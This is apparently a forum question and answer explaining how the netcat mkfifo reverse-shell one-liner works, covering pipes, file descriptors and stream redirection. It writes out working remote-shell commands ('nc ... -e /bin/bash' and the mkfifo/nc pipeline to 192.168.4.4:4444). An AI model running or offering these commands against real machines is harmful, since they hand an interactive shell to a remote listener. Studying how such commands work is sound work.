There was a simple way to connect two systems and getting a shell using nc command as below.
machine A to listen
nc -nlvp 4444
machine B to connect
nc 192.168.4.4 4444 -e /bin/bash
However the -e option is no more, The man pages recommends to follow as below to execute commands
machine A to listen
nc -nlvp 4444
machine B to connect
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f
I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.
Let's think in standard streams,
stdin
andstderr
for a minute.The
stdout
stream ofnc
gets duplicated to/tmp/f
fifo, which means whatever it receives from the other machine over the network goes there. So where does stdin comes from ? From/bin/sh -i 2>&1
. As far asnc
is concerned, it just has to send that data back to the other machine.Well, what does
/bin/sh -i
do ? It invokes interactive shell - the one where you type commands and print output tostdout
. Theuser@host
prompt is typically (if not always) printed tostderr
, but we need to send that to remote machine, hence2>&1
redirection is applied to send the prompt via pipe. Well, we can't usestdout
to print the output - the shell has to send that tonc 192.168.4.4 4444
to be sent over the network. We can't readstdin
either -cat /tmp/f
will be using that to print whatever command is issued from the machine A in your example. Piping commands to the interactive shell isn't anything particularly special - whenstdin
is rewired an application isn't aware of it unless it is actively checking.So to put it briefly, shell reads commands from fifo and sends commands over the network via pipe to
nc
. The commands sent from remote to local shell are written bync
to the fifo. And so the loop goes on and on. The text-based data-flow diagram below also summarizes the same informationOn the tangent note, notice that making a 3-command pipeline like that allows us to spawn these commands in one go (although the order is not guaranteed) in a much less convoluted way. If we were to do this manualy and have all as foreground processes,
nc
would have to be started first to listen in one shell,cat
in the other shell,sh
in the third. For the time it takes us to prepare them, it would block either read or write from the named fifo file/tmp/f
, and it would also raise a question of how to sent output fromcat
to/bin/sh
and from/bin/sh
tonc
, which may also add more named pipes. Using a pipe does threefork()
calls, and threeexec()
calls in one shell, and allows us to make them all talk via file descriptors; regardless of the order in which they may start - this is much faster and less convoluted, though not the easiest to understand without knowing how pipes,file descriptors, and the commands behave.IMPORTANT NOTE: traditional
nc
as protocol doesn't provide any security of information - commands and their output are transmitted over network in plain text and an attacker could potentially modify the data between machine A and B. If you do want to have secure way to issue commands to the remote machine via its shell - usessh
. Thessh
protocol was designed specifically for that purpose. If you do intend to use secure protocol use openssl orncat
.